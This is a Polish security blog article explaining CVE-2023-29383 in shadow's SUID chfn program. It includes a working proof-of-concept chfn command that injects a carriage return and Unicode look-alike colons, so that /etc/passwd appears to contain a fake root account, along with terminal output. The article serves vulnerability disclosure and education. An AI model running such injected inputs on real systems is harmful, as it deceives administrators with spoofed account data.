CVE-2023-29383 – nadużywanie polecenia chfn do fałszowania danych z /etc/passwd
Napisał: Patryk Krawaczyński
08/06/2023 w Bezpieczeństwo Brak komentarzy. (artykuł nr 863, ilość słów: 389)
W pakiecie shadow 4.13 możliwe jest wstrzyknięcie znaków kontrolnych do pól dostarczanych do programu SUID chfn (change finger). Chociaż nie jest możliwe wykorzystanie tego błędu bezpośrednio (np.dodanie nowego użytkownika nie powiedzie się, ponieważ znak nowej linii '\n'
znajduje się na liście zablokowanych znaków) to możliwe jest sfałszowanie danych wyświetlanych z pliku /etc/passwd. Użycie manipulacji znaków '\r'
(CR [carriage return]) i Unicode w celu obejścia znaku “:” umożliwia stworzenie wrażenia, że dodano nowego użytkownika. Innymi słowy, atakujący może być w stanie przekonać administratora systemu do sprawdzenia lub nawet wyłączenia systemu poprzez wykazanie, że polecenie: cat /etc/passwd
pokazuje wrogie konto użytkownika.
Dla przypomnienia – program chfn służy do zmiany danych danych GECOS, które są wyświetlane m.in. przez już rzadko używany i instalowany program finger. Informacje te są przechowywane w pliku /etc/passwd
. Sama luka nie jest niebezpieczna, ale ciekawa jest historia autora znaleziska. Tom Neaves dwa lata temu obrał sobie program chfn jako kandydata do sprawdzenia pod kątem błędów bezpieczeństwa. Dlaczego chfn? Dlatego, że jest to jeden z niewielkiej liczby programów, który posiada jeszcze bit SUID, co oznacza, że działa z uprawnieniami użytkownika “root” niezależnie od użytkownika, który go wykonuje. Dzieje się tak, ponieważ musi zmodyfikować wspomniany plik /etc/passwd, aby wykonać swoją pracę. Luka w takim programie oznaczałaby lokalną eskalację uprawnień (jak to miało miejsce w 2005 roku), ponieważ każde polecenie lub działanie, które możemy wstrzyknąć, jest wykonywane w kontekście administratora systemu. Niestety nie udało mu się znaleźć nic ciekawego oprócz listy blokującej różne znaki specjalne, które wcześniej były wykorzystywane w lukach. Po dwóch latach autor natrafił na lekturę błędu, który również dotyczył chfn i zmiennej środowiskowej, co dodało mu motywacji do powrotu poszukiwań kolejnych błędów w tym programie.
Koniec końców udało dojść się do tego, że można użyć znaku kontrolnego CR ‘\r’, aby ponownie rozpocząć linię, a następnie być nieco kreatywnym i użyć znaku unicode “\ua789”, aby uzyskać jak najbliższe dopasowanie do dwukropka:
agresor@darkstar:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync agresor:x:100:100:agresor:/home/agresor:/bin/bash
Modyfikujemy dane o użytkowniku:
agresor@darkstar:~$ chfn -r "`echo -e '\rhacked\ua789x\ua7890\ua7890\ua789root user'`" Password: hacked:x:0:0:root user'non-ASCII characters: '
Sprawdzamy, jak wyświetlane są teraz dane:
agresor@darkstar:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync hacked:x:0:0:root user,,:/home/agresor:/bin/bash
Oczywiście możemy sprawdzić, jak wygląda to rzeczywiście:
agresor@darkstar:~$ cat -A /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync agresor:x:100:100:agresor,^MhackedM-jM-^^M-^IxM-jM-^^M-^I0M-jM-^^M-^I0M-jM-^^M-^Iroot user, ,:/home/agresor:/bin/bash$
Więcej informacji: CVE-2023-29383: Abusing Linux chfn to Misrepresent /etc/passwd